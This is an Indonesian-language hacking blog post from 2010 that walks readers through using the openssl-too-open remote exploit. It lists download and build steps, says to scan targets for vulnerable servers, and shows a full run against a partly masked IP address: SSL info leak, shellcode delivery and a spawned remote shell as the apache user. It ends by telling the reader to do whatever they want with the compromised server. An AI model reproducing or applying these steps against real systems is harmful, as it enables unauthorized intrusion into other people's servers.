Sabtu, 28 Agustus 2010

Hacking Open SSL


1. Download openssl-too-open.tar.gz bisa download dimana aja :)
2. Extract File tersebut
3. Kemudian Make dan Siap di jalankan

Terlebih dahulu yg harus anda lakukan adalah scanning 
terhadap server target apakah vulnerable kalo vulnerable 
kemungkinan bisa di bobol ok di bawah ini hasil server 
yg telah di bobol

[iwan@server1 openssl]$ ./ssl -a 0x08 -v 2xx.xx.xx.xx
: openssl-too-open : OpenSSL remote exploit
  Modified by Escuver & Antihackerlink Crew

: Opening 30 connections
  Establishing SSL connections

 -> ssl_connect_host
 -> ssl_connect_host
 -> ssl_connect_host
 -> ssl_connect_host
: Using the OpenSSL info leak to retrieve the addresses
 -> send_client_hello
 -> get_server_hello
 -> send_client_master_key
 -> generate_session_keys
 -> get_server_verify
 -> send_client_finished
 -> get_server_finished
  ssl0 : 0x8324180
 -> send_client_hello
 -> get_server_hello
 -> send_client_master_key
 -> generate_session_keys
 -> get_server_verify
 -> send_client_finished
 -> get_server_finished
  ssl1 : 0x8324180
 -> send_client_hello
 -> get_server_hello
 -> send_client_master_key
 -> generate_session_keys
 -> get_server_verify
 -> send_client_finished
 -> get_server_finished
  ssl2 : 0x8324180

: Sending shellcode
 -> send_client_hello
 -> get_server_hello
ciphers: 0x8324180   start_addr: 0x83240c0   SHELLCODE_OFS:
208
 -> send_client_master_key
 -> generate_session_keys
 -> get_server_verify
 -> send_client_finished
 -> get_server_error
  Execution of stage1 shellcode succeeded, sending stage2
  Spawning shell...

bash: no job control in this shell
bash-2.04$
bash-2.04$ uname -a; id; w;
Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 
EDT 2001 i686 unknown uid=48(apache) gid=48(apache) 
groups=48(apache) 12:01am  up 10 days,  8:00,  
0 users,  load average: 0.24, 0.22, 0.18
USER     TTY      FROM              
LOGIN@   IDLE   JCPU  PCPU  WHAT
bash-2.04$
bash-2.04$

Setelah dapet terserah anda mau diapakan :p oke see yahh tunggu
tutorial saya yg berikut nya :) Salam silent Java Hackerlink 
 
Tutorial Present by Dedhy_BlackHacking

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